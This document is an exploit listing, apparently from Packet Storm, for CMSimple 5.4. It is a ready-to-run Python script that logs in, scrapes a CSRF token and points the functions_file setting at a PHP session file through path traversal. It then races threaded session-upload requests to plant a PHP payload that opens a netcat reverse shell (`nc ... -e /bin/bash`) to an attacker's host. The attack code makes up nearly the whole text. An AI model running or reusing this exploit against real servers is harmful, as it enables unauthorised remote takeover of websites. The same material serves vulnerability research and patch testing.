CMSimple 5.4 Local File Inclusion / Remote Code Execution

CMSimple version 5.4 local file inclusion to remote code execution exploit.


MD5 | 7d206d745fd2639b990408dc45a77919

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# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version:  CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup


x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
  try:
    global Time
    s = requests.Session()
    headers= {"Content-Type": "application/x-www-form-urlencoded"}
    
    data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

    response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
    if response.cookies['passwd']:
      print("(+) Sucessfully Logged In With " + User + ":" + Password)

      cookies = response.cookies
      params = (('file', 'config'),('action', 'array'),)
      response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
      soup = BeautifulSoup(response.text, 'lxml')
      CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
      print("(+) Get CSRF Token  : [ " + CsrfValue + " ]")
      data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
      response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
      print("(+) Changing Functions file Done  ")
      print("(+) Check Your nc listner on " + LPORT)
  except Exception as error:
    print("Error, Exiting;( ")
    print(error)
    pass
def fuzz():
  while True:
    try:
      sessionName = "S1lv3r"
      cookies = {'PHPSESSID': sessionName}
      files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
        '<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
        'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
      x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
    except Exception as error:
      print(error)
      exit()
def main():
  print("\n(+) CMSimple LFI to RCE \n")
  Login()
  threads = []
  for _ in range(20):
    t = threading.Thread(target=fuzz)
    t.start()
    threads.append(t)
  for thread in threads:
    thread.join

if __name__ == "__main__":

    if len(sys.argv) <= 5:
        print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
        print("\n(=) SiLvEr \n")
        exit()  
    else:
      RHOST = sys.argv[1]
      LHOST = sys.argv[2]
      LPORT = sys.argv[3]
      User =  sys.argv[4]
      Password = sys.argv[5]
      main()

Source: packetstormsecurity.com
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